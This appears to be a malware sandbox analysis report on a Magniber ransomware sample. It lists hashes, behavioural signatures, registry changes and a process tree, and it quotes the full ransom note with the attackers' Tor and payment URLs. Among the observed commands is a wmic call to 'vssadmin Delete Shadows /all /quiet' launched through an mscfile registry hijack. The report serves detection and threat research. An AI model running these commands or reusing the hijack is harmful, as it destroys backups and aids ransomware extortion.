magniber | 5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35

Analysis

max time kernel
239s
max time network
240s
platform
windows7_x64
resource
win7v20210408
submitted
22-07-2021 19:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe
Size

21KB
MD5

191889cccd8827cb28b5cf9c3a559366
SHA1

c1a6bc0e5d66524eaefa935e9d1dca0c9223bead
SHA256

5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35
SHA512

6d3af286eaa1c3051a739edeaa5f5684f31ff0575082bcd1c2155acfa82657b06b70d7aefc55be3dc1f0877cd4ca77b13f9e53720f5123339bf85eb36bfdfcdf

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://0ab812b814784a70bauxkhdcf.ndkeblzjnpqgpo5o.onion/uxkhdcf Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://0ab812b814784a70bauxkhdcf.bejoin.space/uxkhdcf http://0ab812b814784a70bauxkhdcf.lieedge.casa/uxkhdcf http://0ab812b814784a70bauxkhdcf.wonride.site/uxkhdcf http://0ab812b814784a70bauxkhdcf.lognear.xyz/uxkhdcf Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://0ab812b814784a70bauxkhdcf.ndkeblzjnpqgpo5o.onion/uxkhdcf

http://0ab812b814784a70bauxkhdcf.bejoin.space/uxkhdcf

http://0ab812b814784a70bauxkhdcf.lieedge.casa/uxkhdcf

http://0ab812b814784a70bauxkhdcf.wonride.site/uxkhdcf

http://0ab812b814784a70bauxkhdcf.lognear.xyz/uxkhdcf

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 8 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1680	584	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1644	584	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1792	584	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2040	584	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	996	584	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1276	584	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	764	584	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1636	584	vssadmin.exe	45

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

taskhost.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\MeasureDebug.tif => C:\Users\Admin\Pictures\MeasureDebug.tif.uxkhdcf	taskhost.exe
File renamed	C:\Users\Admin\Pictures\OpenTrace.tif => C:\Users\Admin\Pictures\OpenTrace.tif.uxkhdcf	taskhost.exe
File renamed	C:\Users\Admin\Pictures\ProtectConfirm.png => C:\Users\Admin\Pictures\ProtectConfirm.png.uxkhdcf	taskhost.exe
File renamed	C:\Users\Admin\Pictures\StepConvertFrom.png => C:\Users\Admin\Pictures\StepConvertFrom.png.uxkhdcf	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UnblockInvoke.tif => C:\Users\Admin\Pictures\UnblockInvoke.tif.uxkhdcf	taskhost.exe
File renamed	C:\Users\Admin\Pictures\EnterUninstall.tif => C:\Users\Admin\Pictures\EnterUninstall.tif.uxkhdcf	taskhost.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe

description	pid	Process	procid_target
PID 1652 set thread context of 1124	1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe	9
PID 1652 set thread context of 1184	1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe	13
PID 1652 set thread context of 1220	1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe	12

Interacts with shadow copies 2 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
764	vssadmin.exe
1636	vssadmin.exe
996	vssadmin.exe
1276	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000416947f3793dd240aead45a900116854000000000200000000001066000000010000200000004db6162290051735f2d593ec52f98413b7e06256350bf56ada54e5d4f0eb52a3000000000e8000000002000020000000102c9a177354e508ef0b1174287dc0c42db2a0e06d693272f745ceb0069a031f20000000b02e7babeaf01c633588c9297386616f50a6e71cea30a6d54609bcbdf75d944740000000c347168cb4fd8e1440b2e4c79763b1b9c237f703820111bb8ea9e6e92e8daee9a005db9a74a7003238a14142bf9f7f130938a649b3ed86d91c00e01a0badd295	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{9FBFE381-EB32-11EB-AC6C-72DE1B3474B2} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b025e57f3f7fd701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000416947f3793dd240aead45a90011685400000000020000000000106600000001000020000000e9a4d3547cb4b8901a1faa53839ce4801da0f4b457e900b0790e5ec5e39ba8f5000000000e800000000200002000000027613e36fcbb378a32c08ee74a0e6dfd0945cb47a9a356fdd8f27f0173eef9e9900000004c544bf853e1eb88adbfb3709420a8da0e3907b86c59885c1ccefbc3a7728246f9d0c55a9a41064b9bd3dd8e298a56652570a52f23a76a1e5d41208fac0a80a22d8dec5a61dcb70e7667d74b053041c83a2bc8a00c89f78f21b5e1fdb8e5c333250438056b01896838d83a2e41ed8b6b5e5106fbbbc8ab7352d0915ea54164d36f04cd4d557d6284b54380a5f178faf4400000002d27bfcb2f9908139cb6534a482881e83a922d52ce2ccce171b8e5a21e44a551cf5b177cd451408183cd6447e5fb930642a4392c04a00798d272fc4acc47e3b7	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "333753801"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe

Modifies registry class 11 IoCs

Processes:

taskhost.exemagnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exeExplorer.EXEDwm.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	taskhost.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
1984	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe

pid	Process
1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe
1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

iexplore.exe

pid	Process
1808	iexplore.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe

pid	Process
1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe
1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe
1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEWMIC.exeWMIC.exeWMIC.exe

description	pid	Process
Token: SeShutdownPrivilege	1220	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1632	WMIC.exe
Token: SeSecurityPrivilege	1632	WMIC.exe
Token: SeTakeOwnershipPrivilege	1632	WMIC.exe
Token: SeLoadDriverPrivilege	1632	WMIC.exe
Token: SeSystemProfilePrivilege	1632	WMIC.exe
Token: SeSystemtimePrivilege	1632	WMIC.exe
Token: SeProfSingleProcessPrivilege	1632	WMIC.exe
Token: SeIncBasePriorityPrivilege	1632	WMIC.exe
Token: SeCreatePagefilePrivilege	1632	WMIC.exe
Token: SeBackupPrivilege	1632	WMIC.exe
Token: SeRestorePrivilege	1632	WMIC.exe
Token: SeShutdownPrivilege	1632	WMIC.exe
Token: SeDebugPrivilege	1632	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1632	WMIC.exe
Token: SeRemoteShutdownPrivilege	1632	WMIC.exe
Token: SeUndockPrivilege	1632	WMIC.exe
Token: SeManageVolumePrivilege	1632	WMIC.exe
Token: 33	1632	WMIC.exe
Token: 34	1632	WMIC.exe
Token: 35	1632	WMIC.exe
Token: SeShutdownPrivilege	1220	Explorer.EXE
Token: SeShutdownPrivilege	1220	Explorer.EXE
Token: SeShutdownPrivilege	1220	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1648	WMIC.exe
Token: SeSecurityPrivilege	1648	WMIC.exe
Token: SeTakeOwnershipPrivilege	1648	WMIC.exe
Token: SeLoadDriverPrivilege	1648	WMIC.exe
Token: SeSystemProfilePrivilege	1648	WMIC.exe
Token: SeSystemtimePrivilege	1648	WMIC.exe
Token: SeProfSingleProcessPrivilege	1648	WMIC.exe
Token: SeIncBasePriorityPrivilege	1648	WMIC.exe
Token: SeCreatePagefilePrivilege	1648	WMIC.exe
Token: SeBackupPrivilege	1648	WMIC.exe
Token: SeRestorePrivilege	1648	WMIC.exe
Token: SeShutdownPrivilege	1648	WMIC.exe
Token: SeDebugPrivilege	1648	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1648	WMIC.exe
Token: SeRemoteShutdownPrivilege	1648	WMIC.exe
Token: SeUndockPrivilege	1648	WMIC.exe
Token: SeManageVolumePrivilege	1648	WMIC.exe
Token: 33	1648	WMIC.exe
Token: 34	1648	WMIC.exe
Token: 35	1648	WMIC.exe
Token: SeIncreaseQuotaPrivilege	364	WMIC.exe
Token: SeSecurityPrivilege	364	WMIC.exe
Token: SeTakeOwnershipPrivilege	364	WMIC.exe
Token: SeLoadDriverPrivilege	364	WMIC.exe
Token: SeSystemProfilePrivilege	364	WMIC.exe
Token: SeSystemtimePrivilege	364	WMIC.exe
Token: SeProfSingleProcessPrivilege	364	WMIC.exe
Token: SeIncBasePriorityPrivilege	364	WMIC.exe
Token: SeCreatePagefilePrivilege	364	WMIC.exe
Token: SeBackupPrivilege	364	WMIC.exe
Token: SeRestorePrivilege	364	WMIC.exe
Token: SeShutdownPrivilege	364	WMIC.exe
Token: SeDebugPrivilege	364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	364	WMIC.exe
Token: SeRemoteShutdownPrivilege	364	WMIC.exe
Token: SeUndockPrivilege	364	WMIC.exe
Token: SeManageVolumePrivilege	364	WMIC.exe
Token: 33	364	WMIC.exe
Token: 34	364	WMIC.exe
Token: 35	364	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

Explorer.EXEiexplore.exe

pid	Process
1220	Explorer.EXE
1808	iexplore.exe
1220	Explorer.EXE
1220	Explorer.EXE
1220	Explorer.EXE
1220	Explorer.EXE

Suspicious use of SendNotifyMessage 8 IoCs

Processes:

Explorer.EXE

pid	Process
1220	Explorer.EXE
1220	Explorer.EXE
1220	Explorer.EXE
1220	Explorer.EXE
1220	Explorer.EXE
1220	Explorer.EXE
1220	Explorer.EXE
1220	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid	Process
1808	iexplore.exe
1808	iexplore.exe
1688	IEXPLORE.EXE
1688	IEXPLORE.EXE
1688	IEXPLORE.EXE
1688	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 61 IoCs

Processes:

taskhost.execmd.exeDwm.execmd.execmd.exemagnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.execmd.exeExplorer.EXEcmd.exeiexplore.execmd.execmd.execmd.execmd.exeCompMgmtLauncher.execonhost.exeCompMgmtLauncher.exeCompMgmtLauncher.exe

description	pid	Process	procid_target
PID 1124 wrote to memory of 1984	1124	taskhost.exe	26
PID 1124 wrote to memory of 1984	1124	taskhost.exe	26
PID 1124 wrote to memory of 1984	1124	taskhost.exe	26
PID 1124 wrote to memory of 1768	1124	taskhost.exe	28
PID 1124 wrote to memory of 1768	1124	taskhost.exe	28
PID 1124 wrote to memory of 1768	1124	taskhost.exe	28
PID 1124 wrote to memory of 1672	1124	taskhost.exe	29
PID 1124 wrote to memory of 1672	1124	taskhost.exe	29
PID 1124 wrote to memory of 1672	1124	taskhost.exe	29
PID 1672 wrote to memory of 1632	1672	cmd.exe	32
PID 1672 wrote to memory of 1632	1672	cmd.exe	32
PID 1672 wrote to memory of 1632	1672	cmd.exe	32
PID 1184 wrote to memory of 564	1184	Dwm.exe	35
PID 1184 wrote to memory of 564	1184	Dwm.exe	35
PID 1184 wrote to memory of 564	1184	Dwm.exe	35
PID 1768 wrote to memory of 1808	1768	cmd.exe	34
PID 1768 wrote to memory of 1808	1768	cmd.exe	34
PID 1768 wrote to memory of 1808	1768	cmd.exe	34
PID 564 wrote to memory of 1648	564	cmd.exe	37
PID 564 wrote to memory of 1648	564	cmd.exe	37
PID 564 wrote to memory of 1648	564	cmd.exe	37
PID 1652 wrote to memory of 572	1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe	36
PID 1652 wrote to memory of 572	1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe	36
PID 1652 wrote to memory of 572	1652	magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe	36
PID 572 wrote to memory of 364	572	cmd.exe	39
PID 572 wrote to memory of 364	572	cmd.exe	39
PID 572 wrote to memory of 364	572	cmd.exe	39
PID 1220 wrote to memory of 824	1220	Explorer.EXE	40
PID 1220 wrote to memory of 824	1220	Explorer.EXE	40
PID 1220 wrote to memory of 824	1220	Explorer.EXE	40
PID 824 wrote to memory of 1348	824	cmd.exe	42
PID 824 wrote to memory of 1348	824	cmd.exe	42
PID 824 wrote to memory of 1348	824	cmd.exe	42
PID 1808 wrote to memory of 1688	1808	iexplore.exe	44
PID 1808 wrote to memory of 1688	1808	iexplore.exe	44
PID 1808 wrote to memory of 1688	1808	iexplore.exe	44
PID 1808 wrote to memory of 1688	1808	iexplore.exe	44
PID 2040 wrote to memory of 1148	2040	cmd.exe	56
PID 2040 wrote to memory of 1148	2040	cmd.exe	56
PID 2040 wrote to memory of 1148	2040	cmd.exe	56
PID 1792 wrote to memory of 556	1792	cmd.exe	75
PID 1792 wrote to memory of 556	1792	cmd.exe	75
PID 1792 wrote to memory of 556	1792	cmd.exe	75
PID 1680 wrote to memory of 1996	1680	cmd.exe	58
PID 1680 wrote to memory of 1996	1680	cmd.exe	58
PID 1680 wrote to memory of 1996	1680	cmd.exe	58
PID 1644 wrote to memory of 276	1644	cmd.exe	57
PID 1644 wrote to memory of 276	1644	cmd.exe	57
PID 1644 wrote to memory of 276	1644	cmd.exe	57
PID 276 wrote to memory of 1636	276	CompMgmtLauncher.exe	73
PID 276 wrote to memory of 1636	276	CompMgmtLauncher.exe	73
PID 276 wrote to memory of 1636	276	CompMgmtLauncher.exe	73
PID 556 wrote to memory of 1584	556	conhost.exe	62
PID 556 wrote to memory of 1584	556	conhost.exe	62
PID 556 wrote to memory of 1584	556	conhost.exe	62
PID 1996 wrote to memory of 1796	1996	CompMgmtLauncher.exe	64
PID 1996 wrote to memory of 1796	1996	CompMgmtLauncher.exe	64
PID 1996 wrote to memory of 1796	1996	CompMgmtLauncher.exe	64
PID 1148 wrote to memory of 1876	1148	CompMgmtLauncher.exe	65
PID 1148 wrote to memory of 1876	1148	CompMgmtLauncher.exe	65
PID 1148 wrote to memory of 1876	1148	CompMgmtLauncher.exe	65

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1984
- C:\Windows\system32\cmd.exe
  cmd /c "start http://0ab812b814784a70bauxkhdcf.bejoin.space/uxkhdcf^&1^&46759078^&73^&307^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://0ab812b814784a70bauxkhdcf.bejoin.space/uxkhdcf&1&46759078&73&307&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1808
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1808 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1688
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1632

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1220
- C:\Users\Admin\AppData\Local\Temp\magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe
  "C:\Users\Admin\AppData\Local\Temp\magnibar_5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:572
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:364
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1348

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1648

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1680
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1796

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1644
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:276
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1636

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:556
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1584

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1148
